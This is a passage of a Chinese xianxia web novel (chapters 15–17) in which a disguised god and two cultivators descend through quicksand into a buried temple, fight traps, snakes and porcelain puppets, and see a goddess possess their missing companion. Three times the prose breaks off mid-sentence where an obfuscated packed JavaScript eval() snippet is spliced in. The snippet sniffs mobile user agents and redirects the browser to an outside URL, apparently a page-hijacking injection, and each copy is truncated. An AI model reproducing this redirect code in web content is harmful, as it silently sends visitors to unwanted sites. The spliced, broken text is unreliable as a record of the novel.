两人曾一同跑过江湖喝过酒的,折腾来折腾去,陈鹂先退隐了,曲增明还在辛苦卖命。 跃沉不认识曲增明,问了姜庆临一嘴。 “截云巅的另一位挂名长老,”姜庆临给他解释,“外门弟子来的时候她不在。” “哦,阿明还没见过他?”陈鹂的笑容含着什么,说不清道不明的,“你放心,阿明见了你一定喜欢……” “快点走吧。”姜庆临打断两人,催促着。他手指向上指了指天空。 两人循着望去。 天空一片暗色,黄沙天幕低垂近在咫尺,空气中隐隐能闻到风沙将至的浮尘气味。 “抓紧,趁着风沙降下来之前出城。” 陈鹂奇道:“近日也不知是怎么了,昆仑城这边风沙格外多。以前只是晚上刮一会儿,现在大白天的也屡见不鲜了。幸好护城阵法还算牢靠,没有沙鬼杀进来。” 三人一路出城很顺利。因为几乎没有在这个天气还往外走的,都是进城的人挤挤挨挨。 跃沉一路上感受到好几个神官的气息,还有些自觉伪装天衣无缝的小鬼。不由暗自思忖这昆仑城还真是包罗万象,管他是神是鬼,一律浑水摸鱼放过对方。 “喀喀”机括声炸响,城门在身后关闭大半,跃沉回头看去,哪里还有人影。 陈鹂道:“这个天气,几乎没有进来的人了,为了安全就干脆关掉。” 等跃沉转过头来,面前的黄沙枯蓬铺天盖地,感觉一张嘴说话就要吃沙子。 直到姜庆临给三人都套上了保护诀,他才喘着气开口问:“往西走多久才能到流沙场?” 陈鹂神秘一笑:“那可不一定,看运气吧。” “运气好呢,一片流沙都没遇见,你能一路平安走到麓城。运气不好呢,出城走个三里五里的,你就陷进去了。” “流沙群是流窜的,到处吞人,流沙底下有什么,也不一定。要么掉进个千万年的古墓残穴,要么弄醒个老鬼尸,都不好说。” 跃沉第一次知道普通人在昆仑朝拜一场要多艰难,不由得有点后悔以前没有认真对待祈愿。 “没有开辟出稳定的道路吗?”他问,“……每天都有这么多人来往昆仑城和麓城。” 姜庆临摇头,但又点头:“倒是有口口相传的经验——沿着岩石群线走,遇到的流沙可能会少一些。” 三人沿着大块岩石的路线断断续续地走,一脚一个坑,抬脚后坑就被打着旋儿的风沙抹平了,路况难辨。 岩石上不少孔洞,被琢刻的奇形怪状。风声穿进穿出,吹出尖利的哨音,鬼哭狼嚎。 “不能用日行千里吗?”跃沉艰难抵抗狂风,有点崩溃,“这要走到什么时候!” 陈鹂大概是在昆仑城呆久了,比他和姜庆临都要适应,走动起来不算费力,还有心情指点跃沉:“哎呀,四肢放松,被风吹着也不要费力抵抗,顺势而为嘛。” “等一下……”姜庆临刹住脚步,再次掏出袖中的符咒点燃。青烟慢慢上升,在漫天黄沙里仍然履行职责,倔强地指路。 只不过这次箭头指向地下。 跃沉和陈鹂面面相觑:“……” 他小心翼翼问姜庆临:“什么意思?还得往流沙里钻是吗?” 姜庆临脸色铁青——这就意味着曲增明已经被流沙吞进去了。风越刮越大,明暗难辨,留给他们的时间不多了。 他犹豫了一下,一咬牙:“在这里等流沙过来,咱们自己走进去。” 陈鹂默默叹了口气。 好在,盼什么来什么,流沙来的很快——而且还是一大片,慢慢逼近了这片岩石群。 等流沙近了,跃沉才注意到流沙带着丝丝缕缕的黑雾,翻腾不停。 陈鹂说:“据说流沙也是一种鬼,修为大成,从‘炼炉’中跑出来祸害人间。只是从没有人知道流沙的踪迹规律,这种说法也只是民间修士传言。” 跃沉以前在昆仑山上两耳不闻山下事,身边的神官同事更是一问三不知,谁都不认识,这种传言头一回听,真是新鲜事。 流沙翻滚,将要到脚下了。 姜庆临心一横,给自己套了厚厚的保护咒诀,带头往里走。长靴踩进那片诡异蠕动的沙土的瞬间,就立刻被牢牢吸住,他试着往出拔动,却动弹不得。 跃沉不放心他给的保护诀,自己偷偷又用神术加了一层,才跟着走进去。陈鹂不紧不慢,掏出一块平安扣戴上,也踏进来。 踏进这诡异的流沙的一瞬间,脚底仿佛灌了铅,像谁伸手拽他似的,沉甸甸拉着他往下坠落。 姜庆临最早进去,陷的最快,沙子已经没过了腰线。他神色平静,放缓呼吸,不忘提示两人:“不要挣扎,顺其自然。” 等跃沉和陈鹂快要被淹没时,姜庆临早就不见了。 “老姜?”陈鹂试着叫了他几声,也没有回音。她急得趴了下来,把头脸全都埋进沙子。 跃沉:“……”那我怎么办? 他叹了口气,无奈地也加快了陷入的速度。但流沙好像不是很喜欢他的进入。跃沉想,大概底下是个神庙或者墓穴,主人不愿意有陌生的神明闯进来吧。 虽然他已经很弱很弱,弱到不像一个神了。 跃沉感觉流沙淹到了头顶,眼前立刻黑暗一片。他念了封锁咒诀,不知过了多久,好像是很长很长时间,也许也很短——他终于被流沙吐出来了。 流沙讨厌他,觉得是吃进了什么坏东西,搞得积食了,忙不迭把他吐了出来。 他被吐进了一个地下洞穴。四壁简陋,却又刻画了粗糙的壁画。 前方是一道不大的石门,石锁玲珑连环,精妙绝伦,居然不输跃沉在昆仑山见过的形制。石门上刻画莲花纹,像是女神庙。 姜庆临已经在里面等待,陈鹂也比他快了一点,正在清理满身沙子。 不知为何,跃沉一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“等一下……你们看这里。”一直没出声的姜庆临突然开口,指向石门。 跃沉清清楚楚记得原先石门上没有壁画,不知何时却出现了一幅—— 那个男子神相露出正面,眉目刻画鲜明生动,跃沉却莫名看出了几分狡诈。 他的身后仍然是那七条蛇,大张蛇口,露出尖利的獠牙。他没有再提着女神的头颅,但是双手都放在身前,手心的两只眼睛都盯着来客。 他的头顶上戴着明丽的步摇冠,但是冠上装饰的不是珠玉,而是眼球。 眼球。 跃沉和姜庆临对视一眼,知道对方都想到了问心湖的鬼尸。 “主神要是那个女神相还好……这石门上画的这个要是这间神庙的主神,”陈鹂缓缓道,“那我觉得咱们麻烦大了。” 跃沉跟着点头。 毕竟那个男性神在石门的莲花环绕下实在是太违和了,加上他满头的眼球,任谁也不能把他当成什么良善神明。 实在是那个女神前两张壁画上的模样太有力,太锐气,眉目端正平和,让人见之便心生信任。 结果这座埋在流沙里的庙居然是男神庙吗? 15. 替身神相 陈鹂满脸挣扎:“确定就是这里吗?” 姜庆临轻轻点头,然后低声说:“进去以后,小心眼睛。” 跃沉看着男神的眼珠——冷冷的,散着石制浮雕的阴光,却总觉得他在盯着他们——心里就更不舒服。 他转头去看那女神相。妆饰简单的女神头颅仍是剩一只眼睛,怒意却是一点也不少的,仿佛要立马长出血肉,将丢在地下的三叉戟夺回来,和那男神相不死不休。 姜庆临从袖中取出一只钥匙样的玉片。他仔细观察了那连环玲珑的石锁一番,便动手用法力消融修正那片薄玉,直到他将玉钥匙插进石锁孔,严丝合缝。 跃沉偷偷钦佩了一番。天下第一的炼器师,真有几分底子,这门说开就开。 姜庆临回头示意两人当心,随即转动玉钥匙。 “咔嚓”一声闷响,石门向前旋开。门后一片漆黑不见光亮,尘土味甚重,明显是多年无人到访了。 门板一分为二,男神相从中间剖开两半,手心的眼睛却转了转,要把他们看得更清楚似的。虽然动的很轻微,仿佛只是眨眼在昏暗下的错觉。 陈鹂对这种细微之处最敏感,小声说:“你们看见了吗?” 跃沉点头。到这地方,谁要是怀疑自己只是眼花了,那才是犯傻。 姜庆临小心点燃了寻人符咒,青烟一阵乱飘,想往门后钻,却被无形的力量挡住了,只能无奈消散。 任谁看也是一番凶险啊。 跃沉偷偷用神术窥探石门后的光景,心脏立刻又热得更厉害,怦然而动。他好像看到了一尊神……但是样子看不太清楚。 三人谨慎地进去,姜庆临打头,跃沉跟着他,陈鹂断后。 三人手里点了三捧焰火,照着脚下的路。地面平坦,仿佛是某种雕花石砖铺就,只是灰尘多些。还有些小型蝎子蚁鼠的尸骨,早就干成脆壳了,踩上去只闻一声连着一声的脆响。 跃沉觉得那骨头碎的不成样子,颇有惨状,倒不像是自然死去的,反而像是被吞吃后吐出的。 又是“咔嚓”一声从前面传来。 跃沉以为姜庆临又踩到了老鼠骨头,但是姜庆临不动了。他低下头,三人脚下都空空如也,然后他若有所觉地看向姜庆临的左脚。 姜庆临踩到了脚下的一个机关。 饶是姜庆临走南闯北见识的多,这时候冷汗也下来了。伸手不见五指的漆黑,只有他们这三盏焰火,也不知道这里面空间有多大,完全无处下手。 他深吸了一口气,镇定心神。 跃沉“嘶”了一声,想起了什么,拍他肩膀:“姜长老您让开,交给我踩着。” 姜庆临犹豫几秒,挥手道:“别了,你们俩往后退。我自己来。” 跃沉好歹还有点作为神的哪里管他,用了“移花接木”的咒诀,立刻换了两人的位置。 “不用谢我,姜长老。”他嬉皮笑脸地转头,“你们俩再往后退一退,注意前方。” 下一秒,他松开脚下的机关,任由机括声迭起,炸响在三人耳边。 机械磨合的巨响隆隆从头顶传来,好像要砸穿谁的天灵盖。姜庆临的心跳一窒,好像被紧攥了一把,担忧地望向跃沉。 接着又是一声,很快连成片,浮灰也跟着颤抖落下,唤醒沉寂千年的厅堂。 突然,顶部传来金属破空声——漫天飞射的箭矢,朝三人射来。跃沉不敢托大,使出十成十的法力,用了“土崩瓦解”的咒诀。 尖锐的箭雨滑稽地停住,亿万箭矢在半空慢慢消解成粉末和火花,一场烟花终了,还要落雨,星辰坠落在地,恍恍惚惚照见了远处巍峨的神座。 这箭矢便是第一关,万箭于黑暗中齐发,足够斩杀那些实力低微的修士。 修士界一直流传着这么一句话:“神庙开门是让人拜的,神庙关门就是用来藏的”。 这神庙关门上锁,严密到这个地步,就是明摆着不让人进了。 姜庆临顾不上多想跃沉为什么会有这么高超的法力,眼睛紧紧注视神座,窥探神的真容。 他看见了背后高大挺立的七条吐信子的蛇——真是那个男神相。 箭雨终于停下,滴落满地细碎的铁水颗粒。 几秒后,从三人脚边开始,一路烛火蜿蜒,整个石门内部终于亮起了满堂灯焰。范围之大,足足很长一段时间都没有亮全整殿的灯。 陈鹂倒吸一口冷气。 他们在吊桥的一端。 那东西说是吊桥,实则只是几根粗绳缠绕在一起,轻轻飘荡。而桥下是万丈不见底的黑暗深渊。 吊桥的另一端,是那座巨大无比的神相。 灯火虽然蜿蜒满地,煌煌明亮,却只能勉强照透那尊神相的底座。他和第一幅壁画上的女神姿势相同,都盘坐在座上。 只是女神手持莲花枝,而他的两只手上一边长着一只眼睛。 姜庆临和陈鹂只能仰头向上看,才能勉强看到那尊男神的长相——确实是一张凶神恶煞的脸。 跃沉粗略估算了一下,几人若是到了神像底部,怕是连底座都摸不到。 而他背后的七条蛇,蛇头差不多就有成人那么高,更是凶相毕露,獠牙露齿。 跃沉颇为吃惊。就连西王母如今的几处主殿,都甚少建造这么庞大的神尊。这样大的神尊相,怕是建于王母娘娘掌权之前的古神时代了。 那时神明肆意践踏凡人,为自己建造神庙也不怕劳民伤财。 陈鹂视线下移,看到了什么,顿时格外惊恐,颤声说:“他面前的是……” 巍峨的神座下,本应摆放贡品。但那尊男神供案的正中间,正是那颗女神的头颅! 女神的神体也被肢解,放置在案桌上,摆开一大排。明暗之间,三人顿然觉得那神也格外残忍。 陈鹂不寒而栗:“这这这……这不会是……” 跃沉心里一沉,替她说下去:“替身神。” 替身神其实并不多见,大概分为两种。一种是两位神是好友故交,有时会代替对方显灵和听取祈愿。两家神的信徒也常常合祭,一派你好我好大家好的祥和氛围。 另一种呢,就要血腥些。应由一位神打败并杀死另一位神,就能抢占其原本的神庙、香火和信徒,意为更强者愿意代管。 也许古神时代还有些好战嗜血的神明会这么做,但是现在第二种基本已经绝迹了。民众心里也明镜的。这样的神明就算本事滔天,能是什么好神明呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245028|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 搞不好哪天恼怒,来收割信徒的性命,也保不齐。 所以即使有少部分杀了原主神的替身神庙还没烂成一堆破柱子,现在也都荒废着,无人祭拜。 都快成古书里绝版的记载了。谁成想,今日还能见到这样一座神庙。 虽然古神时代替身神也有不少,但是那都是些中下层小神明为了争夺香火和泄其私欲而做的腌臜事。鲜少有这样强大的神明还要冒着危险挑衅别的神明,非要做这个挨骂的替身神不可的。 跃沉心中暗暗称奇。 “怎么办,要过桥吗?”陈鹂问,“这地方这么大,要待何时才能找到阿明——” 跃沉慢慢抬头,但那若有若无的不适立刻消失了——像是被人抓到了的偷窥的心虚小人收回了视线。 “走吧。”姜庆临道,“越磨蹭希望越渺茫。” 三人踏上绳桥。脚下那万丈虚谷里隐隐传来风声,吹得绳子晃晃悠悠,跃沉轻功颇好,不算费力。 姜庆临虽是主修炼器,身法却丝毫不逊。陈鹂轻功很一般,好在脚下扎实,能跟上前面的他们俩。 “等一下……”陈鹂停住,偏头仔细听了几秒,然后叫住两人。 “你们有没有听到什么声音?”她好像不相信自己的耳朵,仔细又听了一遍。 陈鹂从前行走江湖时,善于侦察,对气息、声音、气味和细节都极敏锐,眼观六路耳听八方。 姜庆临二话不说也停了脚步,向脚下的无底深渊看去。 可惜只有一片模糊漆黑,他再次点燃焰火,蹲身试图细看,也没有什么发现。 “蛇活了。” 跃沉心里蓦地一沉。 三人循声看向神尊,就看到神尊背后的七条蛇正在慢慢活动下颚,龇出獠牙。蛇眼睛从冰冷的石雕中浮起来,呈现一片骇人的血红。 冰冷的七对竖瞳绕了绕,精准地锁定了绳桥上孤零零的三人。 “躺在女神头颅边上的,是不是阿明?”陈鹂颤声说,好像又不相信自己的眼睛了。 曲增明一身红衣,外罩黑色纱袍,正躺在女神头颅旁,双手交叠于胸口,不知生死。 “找到了还犹豫什么?快过桥!”跃沉大喊,“没被肢解呢就算成功!” 姜庆临立刻加速,足尖在绳面上轻点,很快就走过了一半路程,来到了深渊中间。 在绳桥正中央,风感更显。姜庆临不得不收紧箭袖,生怕风吹动宽袍。偏差了一点,怕都会死无葬身之所。 跃沉三步两步就跳到了他前面,成了开路人。 他还是不太敢用神术。虽然他也不知道这个男神相这么多年没有香火,法力到底如何,但是在对方的神庙里强行使用神术,无异于贴脸嘲讽。 他香火也不多,还是别硬碰硬的好。 更重要的是身后还有姜庆临和陈鹂。 凡人是借力打力,修炼逆天道而行。神明法力于天地之间,尽为掌控。凡人再怎么强,和神明还是云泥之别。 于是他佯装身法有限,缓慢地向前移动。 巨蛇被惊醒,可不给他们反应的时间,“嘶嘶”之声顿然灌满地庙。七条蛇从神座上游下来,游向吊桥,张开血盆大口。 16. 牵丝傀儡 巨蛇折行,眨眼功夫就停到桥边,齐齐吐出鲜红长舌,玄黑鳞片冰冷反光。 姜庆临紧皱着眉头,加快脚步超过跃沉,和七条蛇对峙。巨蛇嘶嘶吐信,翻腾缠绕,凶光毕露,威胁着每一个意欲过桥的不速之客。 跃沉在他身后,眉头紧蹙,手中暗暗准备用咒诀。 孰料正掐咒诀时,姜庆临动作更麻利,左手凌空摸出一把弓,右手凝气化作利箭,搭在弦上,箭羽稳健,霎时射出。 那一箭看似空无一物,却凌空狠狠撕裂了其中一只蛇的头部。巨蛇被空气狠狠削穿了颚骨,鲜血喷溅。 血居然是黑色的。 巨蛇歪歪扭扭倒下了,长吐呻吟,烂作一滩黑水,淋漓流下悬崖。 跃沉立刻意识到不对:“这不是真蛇!这是障眼法。” 很多神庙的主神为了不受侵犯,会用神术在神庙里捏造些东西放着。不过多数都是障眼法,吓唬人的,防君子不防小人,功用不大。 这要是真蟒蛇,恐怕不能一箭毙命。 另外六条蛇连犹豫都没有,遵循着早已被设定好的轨迹,继续向前,已经搭上了绳索的边沿。 承重倾轧,三人不由得向前歪倒,各自踩实了脚下的绳索,勉强稳住身形。 “说这没用,先都杀了再说!”陈鹂不废话,自袖中摸出两把短刃掷去。不知同时用了什么咒诀,短刃裹着风声,极快扎上了打头阵的蛇。 蛇抽搐翻折,巨口嘶张,獠牙逼近又拉远,连带着绳子也乱晃。但它没有倒下,仿佛不知疼痛,逶迤向前来。 跃沉看着满地冷却的火花铁水痕迹,心生一计,立即念了咒诀“复原如初”。 地面上赫然生出箭矢来,仿佛凭空长出来的,就是刚才朝他们射来的箭。一咒念出,万箭齐发,朝反方向去。 姜庆临不作声,配合着跃沉操控箭雨冲向巨蛇,蛇身顿时被扎穿成筛子,化作黑色粘稠的物质软化在地上。 血腥味扑面,熏得陈鹂忍不住抬手捂脸。 三人快速跳到对岸。脚踏在实地上的时候,陈鹂才安下心来,兴奋地向跃沉道:“这招好厉害。” 跃沉嫌地上脏不想坐下,只撑着膝盖休息,闻言朝陈鹂一笑。 刚才消融万箭,已经耗了不少法力,何况现在又生生杀了六条巨蟒。他偷偷给自己喂了一张锁灵符,勉强运行周身,维持法力不枯竭见底。 “最好接下来没什么幺蛾子。”他直起身,抬头向神相望去。 姜庆临无声地瞥了跃沉一眼。这本事可不像是外门弟子的水平。但现在他没时间怀疑来怀疑去的,眼前的神相和曲增明更要紧。 神相背后的蛇没了,却毫不影响其高大。他们现在离神相还是很远,但是已经能看见曲增明了。 她没有被巨大的打斗声惊醒,只是安详地平躺着。 “咔”一声轻响。姜庆临立刻警觉地抬头看向穹顶。 但这次的声响却不是来自穹顶,而是来自神相的方位。那尊巨大的男神相两旁,列着许多属神的小神相,和一般神庙无异。 跃沉皱眉,本能地觉得不对。 在远处看的时候,幽幽满殿烛火,那些小神相却一个也照不清楚。仿佛只有他们过了绳桥,才能见到其真容。 神相所处的神龛中,也绘着壁画,高处几乎完全看不清了,只有低处尚且清晰。 在和他们差不多高的位置上,画着密密麻麻的持械人,各个武器朝外,像是想和外来者比划比划。 姜庆临四处打量,寻找那莫名声音的源头。 跃沉则端详着壁画,暗自思忖。 一般信徒所拜的神庙,持械武神的形象,不会把武器利刃朝外——不然不就成了赶来客吗? 但这神庙从进石门开始就屡屡违反常规,这壁画怪异倒是小事了。 陈鹂指着曲增明的方向,打个手势想往前走,却被姜庆临拦下了。 又是“咔”一声,比刚才那声大多了,能听到回音。 陈鹂捕捉到这声音,立刻望向右侧的一尊立神,轻声道:“在他身后。” 身后? 姜庆临走近几步,换了个视角再看。 “咔咔”声突然响成一片,一时间回声迭起,辨别不出是何处传来。 一把梅花镖隐匿着声响,在混乱中飞出来。姜庆临面不改色接了,朝来处望去。 僵硬的瓷制傀儡活动着关节,手里还捏着一把梅花镖,正从壁画里钻出来。 傀儡面上画着简化的五官,白色的瓷面具上,没有鼻子眉毛。眼睛也只是一个圆圈,唇不知是用什么画的,鲜红如血,是很标准的大笑角度。 越看越让人后背发凉。 越来越多的傀儡打破壁画,“咔咔”地活动关节,从里面走出来。僵硬的肢体倾斜着,走路很慢,又不稳当。 跃沉恍然大悟。那壁画不是画上去的,是将傀儡埋进去,然后描出样子的。 瓷傀儡用作神庙左右护卫,是主神的意志延申。 此时目测从壁画里出来的傀儡就有上百个了,各个手持武器,迈着机械步子朝他们围过来,而且关节扭动,越走越顺。 随着“咔咔”声低下去,傀儡的动作也变得灵活多了,行动和常人一般流畅。实力倒是不知深浅,可是古神庙里,再差的傀儡也差不到拿去,把姜庆临和陈鹂打个措手不及落花流水,可是绰绰有余的。 “怎么这么难缠?”陈鹂是个不服输的性子,冷哼一声。她将腰带解下来,拂去缠着的布条——那居然是一把软剑。 软剑尖端一抖,利刃如风,裹上最近的一个瓷傀儡的脖子处。傀儡的脖颈和头颅被削开了一大块,瓷片碎裂,摔了满地。 但它不为所动,继续朝前,抬起手中的瓷节鞭抽下来。身法虽怪,却极快极狠,瓷鞭在地上激起扬尘。 陈鹂几剑把它削成了满地惨白的碎片,翻身腾空而起,一脚踹倒一个,打散了围住她的傀儡。 跃沉和姜庆临站的近,索性就背靠背应对傀儡。跃沉用咒诀解决掉了几个瓷傀儡,但效率太低,还费法力,正是一筹莫展之际。 办法有倒是有,不过他很不想在姜庆临面前用他的本体玉骨,于是扭扭捏捏地继续念咒诀,一个个硬生生捏碎傀儡。 姜庆临像是知道他藏着掖着什么,一边和傀儡缠斗一边喊道:“有什么办法就使出来吧!都这时候了。” 几十个傀儡把他们俩围在中间,外圈还有更多的,源源不断地涌来,打一个还有一个,无穷无尽的。 一张张瓷釉质地的惨白的脸,细腻精巧的骨节构造,在烛光中显得明暗相宜,分外柔和。 血盆大口张开,傀儡们握着各自的武器,不辨善恶,捍卫满殿神相。 瓷面红唇笑颜,空洞的眼睛对着两人。通红的嘴唇越咧越大,分明是笑着的,这双眼睛却让人不寒而栗。 姜庆临:“果然不是什么正经神……” 两人交换视线,从对方的眼神里读出了警惕。 跃沉抽出自己本体玉骨。玉骨一经显现,便是莹润大亮,比烛光夺目得多。 姜庆临忍不住扭头看了一眼。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245029|197859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一扭头的功夫,一个傀儡寻机一剑劈下来。 “小心!” 跃沉足尖点地,高高跃起,一骨头飙上去,傀儡顿时碎成了粉末,晶亮晶亮的瓷身簌簌飘落一地。 姜庆临瞳孔急缩,这玉也太强了些。 他一直在试着用玉炼器,但苦于没有进展。玉的承载性太差,经不起同时使用咒诀。 姜庆临忍不住心里的好奇,问道:“你这玉……”他拧眉看了好几眼也没认出来这是什么武器。 “你这玉石是从何处得来?神力如此。” 跃沉很是心虚:“没什么,一点机遇偶然得之。” 姜庆临怀疑的苗头露了又露,但他没说什么,只是在心里琢磨,默默打碎一个又一个傀儡。 跃沉效率难得的高。玉骨扫过去,带起来的罡风都能活生生撕碎傀儡,极大减轻了陈鹂和姜庆临的压力。 他干脆将玉骨幻化成骨鞭,一鞭子抽下去,厉声炸响,就有一大片傀儡倒下。 满地扎人的瓷末,惨白映光,细细密密,照得这神相前更亮。 陈鹂终于能垂下手臂休息片刻,她轻喘着,看着跃沉成片清理傀儡,心中难免惊异。 姜庆临什么时候有这么强悍的弟子了?这样的水平在全鼎元宗都找不到几个,属实是打着灯笼都难找的人才。 怎么就到鼎元宗外门卖命了。 陈鹂下定决心一定要把人挖过来——跑江湖这般畅快,不比在鼎元宗睡也睡不成、吃也吃不香来得强? 这孩子必然是受了哄骗了,宗门哪有江湖好? 想到这,她很不满地剜了姜庆临一眼。 姜庆临:“?” 跃沉一骨头把最后三个傀儡抽成粉末,方才停下。 三人对视,想继续上前。神龛越发近了,描眉画目的神相更清晰,在烛火摇曳中投射阴影。 曲增明的身影也愈近了。 不料身后的深谷中忽然吹来一阵风,将满地瓷粉吹开,吹成白色的雾,吹到神相前。 迷迷蒙蒙,神相庄严,男神相头顶步摇冠上的眼球也被瓷末遮掩,看上去只是个寻常的古神庙。 风吹的更大。三人衣袍翩飞,纷纷拿手挡眼睛,以防瓷末尖锐锋利,吹伤了眼睛。 再睁开眼时,面前已立着两个几人高的傀儡,骨节处被丝线拴住。 陈鹂抬头望向丝线的来处,发现丝线没入穹顶极高的地方,难以窥视。 两个新傀儡通体亦是纯白色,敷衍到连嘴唇笑意也不画了,只有眼睛。 但那眼球是活生生的,不只是两个潦草涂画的圆圈。两个傀儡的眼球转了转,露出纯粹的红色,红到让人惶惶然。 姜庆临心里一沉,又是眼球。 又是眼球! 他面上不显,心中有些崩溃——有完没完了。这神明是吃眼珠子起家的吗? 跃沉懒得废话,上前两步跃起,平视两个纯白傀儡。 手上骨鞭更长,用了十成十的法力抽上傀儡的脖颈,绞断了好几根丝线。骨鞭末端缠住了傀儡,他轻盈落地,狠狠束紧手上的鞭子。 这一鞭下去,爆裂的响声倒是不小,傀儡却仍旧光洁如新,连痕迹都没留下。两个傀儡更是不动如山,轻蔑地俯视三人。 他紧皱眉头,迎着傀儡纯红的眼睛,思考对策。 傀儡被丝线控制,轻轻歪头,瓷质骨节发出轻轻的“咔嚓”声。它们俩不断调整身体,飞快地适应着。 在三人都没有注意到的幽暗灯火中,男神相右手上的眼睛睁开了一条缝。 17. 夺神往事 难缠。 这纯白牵丝傀儡比方才的空壳瓷罐子难缠的多,所幸它们现在还没有动起手来,尚不知深浅。 跃沉冷着脸,收了骨鞭,去望姜庆临和陈鹂。 牵丝傀儡慢慢迈腿,格格声顿挫。循着关节处系的丝线望去,正是那男神相的手指间银光闪烁,控制着两个傀儡。 银光一动,跃沉警惕地向后撤去。果然一刀劈下,他方才站的地面生生裂开一道缝。 跃沉身后没地方让他再撤,他也不能一直往后退。稳住身形后,他横过玉骨在身前,罡风撕裂空周遭空气,撕出一片寂静。 玉骨杠上傀儡手中的刀,金石铮铮作响,两边居然打个平手,谁都没占到便宜。 跃沉趁其不备,将玉骨掷出,玉骨在空中划过弧线,光芒流动,一镖削去男神相的一根食指。 沉重的雕塑砰然坠地。失去了神光庇佑,那根食指成了一块僵冷的石头,和供案上摆放的女神相的肢体般无二致。 男神相第一次有了表情。而且不光是脸上的眼睛有怒意,步摇冠上满缀的和手心里的眼睛都是流泻奔涌的愤怒。 跃沉收手握住回旋的玉镖,自然不肯放过良机。手中暗暗调动法力,神纹金光闪动,蜿蜒缠上玉骨。正要汇聚到玉骨顶端时,金光骤然断开。 他的法力不够了。 跃沉瞳孔急缩,心脏本就发热,此时紧张得搏动更缓。 正在这千钧一发的关头,曲增明居然直起上半身,缓缓坐起来了。她的眼睛怪得很,仿佛凭空替换了另一个人的眼睛。 是不同以往的金色瞳孔,动作僵硬,怪异又不协调。 三人怔然看向她。 两个牵丝傀儡已经够他们喝一壶了,若是曲增明的身体也被那男神尊夺舍,恐怕这流沙下埋藏的地庙就成了三人的葬身之地! 她金色的目光里还有些茫然和澄澈,信手伸出去,右手却碰到了什么东西——她低头下去,金色瞳孔紧缩——女神的头颅。 她的动作卡顿了,抬手摸着那石塑一锉刀一锉刀凿出来的头颅。 石塑里封着万年前她的头颅。 “曲增明”从供案上翻身下来,满目愤怒和血性。 身后女神的肢体横陈供案前,她猛然转身,劈手夺起那两把三叉戟。 那对三叉戟怕是几千几万年没人摸过了,落在灰堆儿中,沉没在层层流沙下。 可神器就是神器,海枯石烂也忘不了主。她拿起那一瞬间,两把三叉戟顿时光洁如新,尖端锐利,金光闪闪,宝石夺目,压过满殿烛火。 “曲增明”扯下黑纱外衣,露出朱红色绣裙,皮革箭袖紧锢,焕然仿佛换了个人。 “她不是曲增明。” 姜庆临斩钉截铁地说。陈鹂也点头,低声道:“阿明绝不会脱了那身黑纱……” 她看看被生生砍掉一根手指的男神相,又看看三人,最后视线落在跃沉身上。 三人屏住呼吸不敢说话。 式陵觉得边上那人的气息很熟悉,仿佛是很早很早就有这么一抹很淡的印记,在她身边很久,是她曾经见过的。 她心中微动,这是多少年风水轮流转?她的庙里不仅满眼灰尘,而且什么腌臜东西都敢进来了。 三叉戟的光亮终于扰动了男神相手中的傀儡。 男神相手指微顿,手心的眼睛瞪出了红血丝,牵引着傀儡靠近式陵。 式陵嫌弃借来的这具身体太弱了,怕是有很多神术施展不开。不过……那个人似乎可以和她一起。 她不知道为什么自己会天然地对那个人类模样的少年感到信任,只是觉得他们似乎有些共通之处。 “要……一起吗?”式陵歪头,语言还有些生涩,口音也怪。 但是跃沉觉得很熟悉很亲切。 建木老妖从前在昆仑山讲上古文字时,就用这种口音。不少昆仑山的老资历,也是一口上古口音。 跃沉平日不学无术,认不出上古神明,但是不妨碍两人一拍即合。 他望向式陵,点头答应。 式陵环顾四周,信手将那三叉戟插进地里。 姜庆临和陈鹂颇有不解,只有跃沉愣了几秒,大为惊愕。 那三叉戟仿佛附灵一般,游走自如,在地面刻下深深一层痕迹。两把三叉戟汇合在她脚边,被她收回手中。 地面的纹路霎时金光大作。 那不是一般的符咒,而是送灵符。 这东西和锁灵符很像,某种程度上讲,其实差不多是一回事。只不过锁灵符是需要用时触发,而送灵符在其范围内可以自由送出法力。 不过锁灵符尚有限度,存多少用多少,送灵符可不敢给画的大了。 因为这符咒借起法力来毫不吝惜,大有排山倒海之势,想借多少全看这送灵符能有多大容量。所以送灵符多数画的比锁灵符还小。 如今她画的这道送灵符,是在地面刻下的,用的符纸载体是整座神庙。 意思是,整座神庙的法力都能借给跃沉。 跃沉覆手触上金纹,被法力灌了个猝不及防。 上古神力比他修习的柔和神力汹涌的多,实打实的杀意和凌厉冲上来,攒满万年的滴水穿石,也能汇成大江大河,冲刷他的经脉心血,肆虐游走。 心脏再次发热,最先感受到的是杀意——但不属于他。 跃沉恍惚了一下。借了式陵的神力的缘故,眼前模模糊糊出现些不属于他的记忆画面。 他不敢确定那是不是记忆。 男人跪在上首女神的脚边,俯身虔诚地叩首,恨不得把四肢都揉进地砖里,把额头磕烂。 他只求个属神的名分,不求受人称颂、享用贡品、为护一方,只求沾点香火,留存神体。 没有位置了。女神拒绝他。 画面断掉,眼前乱极了,晃来晃去,终于定格在清晰的一帧——男人跪在另一个神面前。 